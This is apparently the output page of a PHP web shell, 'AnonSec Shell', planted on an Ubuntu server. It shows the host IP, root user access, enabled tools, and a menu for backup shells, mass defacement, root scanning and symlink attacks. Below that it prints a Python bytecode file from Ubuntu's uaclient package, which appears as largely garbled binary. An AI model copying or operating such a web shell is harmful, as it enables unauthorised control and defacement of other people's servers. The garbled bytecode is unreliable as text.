AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/entitlements/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/entitlements/__pycache__/__init__.cpython-310.pyc
o

F��c<�@s�ddlZddlZddlmZmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZdd	lmZmZdd
lmZddlmZddlmZmZdd
lmZddlmZeeeeej ej!eeeeg
Z"de	de#fdd�Z$	d/de	de%de%dee#fdd�Z&de	dee#dee#fdd�Z'ej(Gdd�dej)��Z*de	dee#fdd�Z+de	dee#fd d!�Z,de	d"ee
d#e*d$ee#e%fd%ee#f
d&d'�Z-de	d#e*dee#fd(d)�Z.d*ee#de	fd+d,�Z/de	de%dej0fd-d.�Z1dS)0�N)�Dict�List�Type)�messages)�UAConfig)�fips)�
UAEntitlement)�CommonCriteriaEntitlement)�CISEntitlement)�ESMAppsEntitlement�ESMInfraEntitlement)�LivepatchEntitlement)�RealtimeKernelEntitlement)�ROSEntitlement�ROSUpdatesEntitlement)�EntitlementNotFoundError)�is_config_value_true�cfg�namecCs*tD]}|||d�jvr|Sqt|��)aReturns a UAEntitlement class based on the provided name.

    The return type is Optional[Type[UAEntitlement]].
    It cannot be explicit because of the Python version on Xenial (3.5.2).
    :param cfg: UAConfig instance
    :param name: The name of the entitlement to return
    :param not_found_okay: If True and no entitlement with the given name is
        found, then returns None.
    :raise EntitlementNotFoundError: If not_found_okay is False and no
        entitlement with the given name is found, then raises this error.
    �r)�ENTITLEMENT_CLASSES�valid_namesr)rr�entitlement�r�@/usr/lib/python3/dist-packages/uaclient/entitlements/__init__.py�entitlement_factory s
�rF�
allow_beta�	all_names�returncslt�jd�}||O}t}|sdd�|D�}|r+g}|D]}|�|�d�j�qt|�St�fdd�|D��S)aReturn a list of valid (non-beta) services.

    :param cfg: UAConfig instance
    :param allow_beta: if we should allow beta services to be marked as valid
    :param all_names: if we should return all the names for a service instead
        of just the presentation_name
    zfeatures.allow_betacSsg|]}|js|�qSr)�is_beta��.0rrrr�
<listcomp>As��z"valid_services.<locals>.<listcomp>rcsg|]}|�d�j�qS)r)�presentation_namer rrrr"Os
��)rrr�extendr�sorted)rrr�allow_beta_cfg�entitlements�namesrrrr�valid_services2s"
�
��r)�entscs(t|���fdd��t|�fdd�d�S)zR
    A function to sort entitlments for enabling that preserves invalid names
    cs(z��|�WStyt��YSw�N)�index�
ValueError�len��ent)�valid_ents_orderedrr� sort_order_with_nonexistent_last^s
�zIorder_entitlements_for_enabling.<locals>.sort_order_with_nonexistent_lastcs�|�Sr+rr/)r2rr�<lambda>dsz1order_entitlements_for_enabling.<locals>.<lambda>)�key)�entitlements_enable_orderr%)rr*r)r2r1r�order_entitlements_for_enablingVsr6c@seZdZe�Ze�ZdS)�	SortOrderN)�__name__�
__module__�__qualname__�object�REQUIRED_SERVICES�DEPENDENT_SERVICESrrrrr7gs
r7cC�t|tjd�S)zR
    Return the entitlements disable order based on dependent services logic.
    �r�
sort_order)�_sort_entitlementsr7r=rrrr�entitlements_disable_orderm�rBcCr>)zP
    Return the entitlements enable order based on required services logic.
    r?)rAr7r<rrrrr5trCr5�ent_clsr@�visited�ordercCsv|j|vrdS|tjkr||�j}n||�j}|D]}|j|vr)t|||||d�q|�t|j��d|t|j�<dS)N�rrDr@rErFT)rr7r<�required_services�dependent_services�_sort_entitlements_visit�append�str)rrDr@rErF�cls_list�cls_dependencyrrrrJ{s"



��rJcCs(g}i}tD]}t|||||d�q|S)NrG)rrJ)rr@rFrErDrrrrA�s�rAr(cCsFg}|D]}|t|ddd�vr|�|�qtt|�t|��}||fS)z�Return a list of valid entitlement names.

    :param names: List of entitlements to validate
    :return: a tuple of List containing the valid and invalid entitlements
    T)rrr)r)rKr%�set)r(r�entitlements_found�ent_name�entitlements_not_foundrrr�get_valid_entitlement_names�s�
�rScCsNt||d�}d�|�}d�tjd|ddddd��}tjjd	d�|�|d
�S)z{
    Constructs the MESSAGE_INVALID_SERVICE_OP_FAILURE message
    based on the attempted services and valid services.
    )rrz, �
zTry �.�PF)�width�break_long_words�break_on_hyphens�enable)�	operation�invalid_service�service_msg)r)�join�textwrap�wrapr�INVALID_SERVICE_OP_FAILURE�format)rRrr�valid_services_namesrr]rrr�,create_enable_entitlements_not_found_message�s

���rd)FF)2�enumr_�typingrrr�uaclientr�uaclient.configr�uaclient.entitlementsr�uaclient.entitlements.baser�uaclient.entitlements.ccr	�uaclient.entitlements.cisr
�uaclient.entitlements.esmrr�uaclient.entitlements.livepatchr
�uaclient.entitlements.realtimer�uaclient.entitlements.rosrr�uaclient.exceptionsr�
uaclient.utilr�FIPSEntitlement�FIPSUpdatesEntitlementrrLr�boolr)r6�unique�Enumr7rBr5rJrArS�NamedMessagerdrrrr�<module>s������
�$��
����
�
����

Anon7 - 2022
AnonSec Team